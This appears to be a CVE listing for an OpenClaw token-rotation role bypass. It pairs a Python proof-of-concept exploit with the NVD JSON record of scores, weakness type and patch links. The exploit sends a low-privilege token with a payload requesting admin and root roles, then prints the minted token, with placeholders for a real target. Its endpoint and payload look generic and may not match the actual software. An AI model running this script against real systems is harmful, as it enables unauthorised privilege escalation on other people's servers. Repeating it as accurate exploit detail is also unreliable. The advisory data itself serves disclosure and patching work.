CVE-2026-42422

# PoC for CVE-2026-42422: OpenClaw Role Bypass # This script demonstrates bypassing the device token rotate check to mint admin tokens. import requests def exploit_openclaw(target_url, low_priv_token, device_id): """ Exploit the role bypass vulnerability in OpenClaw < 2026.4.8 """ headers = { "Authorization": f"Bearer {low_priv_token}", "Content-Type": "application/json" } # Malicious payload attempting to escalate privileges during token rotation payload = { "device_id": device_id, "rotate": True, # Vulnerability: The 'roles' field is not validated against approved upgrade paths "roles": ["admin", "root"], "scopes": ["read", "write", "execute", "admin"] } try: print(f"[*] Sending exploit request to {target_url}/device/token/rotate...") response = requests.post(f"{target_url}/device/token/rotate", json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! High privileges granted.") print(f"[+] New Token: {response.json().get('token')}") else: print(f"[-] Exploit failed. Status: {response.status_code}") print(response.text) except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Replace with actual target details TARGET = "http://localhost:8080" TOKEN = "LOW_PRIV_USER_TOKEN" DEVICE = "VICTIM_DEVICE_UUID" exploit_openclaw(TARGET, TOKEN, DEVICE)

{"cve": {"id": "CVE-2026-42422", "sourceIdentifier": "[email protected]", "published": "2026-04-28T19:37:45.950", "lastModified": "2026-04-30T14:04:50.413", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.4.8 contains a role bypass vulnerability in the device.token.rotate function that allows minting tokens for unapproved roles. Attackers can bypass device role-upgrade pairing to preserve or mint roles and scopes that had not undergone intended approval."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.4.8", "matchCriteriaId": "37A0977C-2C03-4821-B459-0FD7E4A6635A"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/d7c3210cd6f5fdfdc1beff4c9541673e814354d5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-whf9-3hcx-gq54", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-role-bypass-in-device-token-rotate-function", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}